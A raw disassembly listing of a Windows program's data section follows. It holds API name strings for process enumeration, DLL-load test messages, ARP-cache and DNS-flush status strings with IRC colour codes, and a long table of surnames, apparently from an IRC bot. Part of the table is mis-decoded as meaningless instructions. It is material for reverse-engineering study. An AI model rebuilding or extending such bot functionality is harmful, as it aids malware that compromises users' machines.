aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B12+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B12+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B12+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B12+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B12+Ao
		align 4
unk_42D364	db  2Dh	; -		; DATA XREF: sub_40A7CE+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
		align 10h
a_:					; DATA XREF: sub_40F96A+252o
		unicode	0, <.>,0
unk_42D4F4	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABF0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42D524	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABBEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42D554	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40AB8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D578	db  2Dh	; -		; DATA XREF: sub_40AB31+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC0F+46o
					; sub_40BFEB+38o
aReal		db 'real',0
		align 4
		dd 0
dword_42D5BC	dd 0			; DATA XREF: sub_40B08D+7o
off_42D5C0	dd offset sub_40ACB5	; DATA XREF: sub_40B08D+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AD22h, 7474656Ch, 7265h, 0
		dd 2, 40AD80h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCDh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Bh, 736Fh, 2	dup(0)
		dd 5, 40AEE0h
off_42D628	dd offset aAbdulrazak	; DATA XREF: sub_40ACB5+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D634	dd offset aAddison	; DATA XREF: sub_40B08D+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
; ---------------------------------------------------------------------------
		aam	0FEh
		inc	edx
		add	al, cl
		inc	byte ptr [edx+0]
		mov	esp, 0B40042FEh
		inc	byte ptr [edx+0]
		lodsb
		inc	byte ptr [edx+0]
		test	al, 0FEh
		inc	edx
		add	[eax-67FFBD02h], ah
		inc	byte ptr [edx+0]
		nop
		inc	byte ptr [edx+0]
		mov	dh, bh
		inc	edx
		add	[eax+780042FEh], al
		inc	byte ptr [edx+0]


loc_42DEC8:				; CODE XREF: ___:loc_42DEC8j
		jo	short loc_42DEC8
		inc	edx
		add	[eax-2], ch
		inc	edx
		add	[eax-2], ah
		inc	edx
		add	[eax-2], bl
		inc	edx
		add	[eax-2], dl
		inc	edx
		add	[eax-2], cl
		inc	edx
		add	[eax-2], al
		inc	edx
		add	[eax], bh
		inc	byte ptr [edx+0]
		xor	dh, bh
		inc	edx
		add	[eax], ch
		inc	byte ptr [edx+0]
		sbb	dh, bh
		inc	edx
		add	[eax], dl
		inc	byte ptr [edx+0]
		add	al, 0FEh
		inc	edx
		add	al, bh
		std
		inc	edx
		add	al, dh
		std
		inc	edx
		add	ah, ah
		std
		inc	edx
		add	al, bl
		std
		inc	edx
		add	al, dl
		std
		inc	edx
		add	ah, al
		std
		inc	edx
		add	[ebp+edi*8-24BFFBEh], bh
		inc	edx
		add	[ebp+edi*8-25BFFBEh], ch
		inc	edx
		add	[ebp+edi*8-26FFFBEh], bl
		inc	edx
		add	[eax+7C0042FDh], cl
		std
		inc	edx
		add	[ebp+edi*8+42h], dh
		add	[ebp+edi*8+42h], ch
		add	[eax-3], ah
		inc	edx
		add	[eax-3], bl
		inc	edx
		add	[eax-3], dl
		inc	edx
		add	[eax-3], cl
		inc	edx
		add	[eax-3], al
		inc	edx
		add	[eax], bh
		std
		inc	edx
		add	[eax], dh
		std
		inc	edx
		add	[eax], ch
		std
		inc	edx
		add	[eax], ah
		std
		inc	edx
		add	[eax], bl
		std
		inc	edx
		add	[eax], dl
		std
		inc	edx
		add	[eax], cl
		std
		inc	edx
		add	ah, bh
		cld
		inc	edx
		add	al, bh
		cld
		inc	edx
		add	al, dh
		cld
		inc	edx
		add	al, ch
		cld
		inc	edx
		add	al, ah
		cld
		inc	edx
		add	ah, dl
		cld
		inc	edx
		add	ah, cl
		cld
		inc	edx
		add	ah, al
		cld
		inc	edx
		add	[eax-4FFFBD04h], bh
		cld
		inc	edx
		add	[eax-5FFFBD04h], ch
		cld
		inc	edx
		add	[eax-6FFFBD04h], bl
		cld
		inc	edx
		add	[eax+7C0042FCh], cl
		cld
		inc	edx
		add	[esp+edi*8+42h], dh
		add	[esp+edi*8+42h], ch
		add	[eax-4], ah
		inc	edx
		add	[eax-4], bl
		inc	edx
		add	[eax-4], dl
		inc	edx
		add	[eax-4], cl
		inc	edx
		add	[eax-4], al
		inc	edx
		add	[eax], bh
		cld
		inc	edx
		add	[eax], dh
		cld
		inc	edx
		add	[esp+edi*8], ah
		inc	edx
		add	[eax], ah
		cld
		inc	edx
		add	[eax], bl
		cld
		inc	edx
		add	[eax], dl
		cld
		inc	edx
		add	[eax], cl
		cld
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
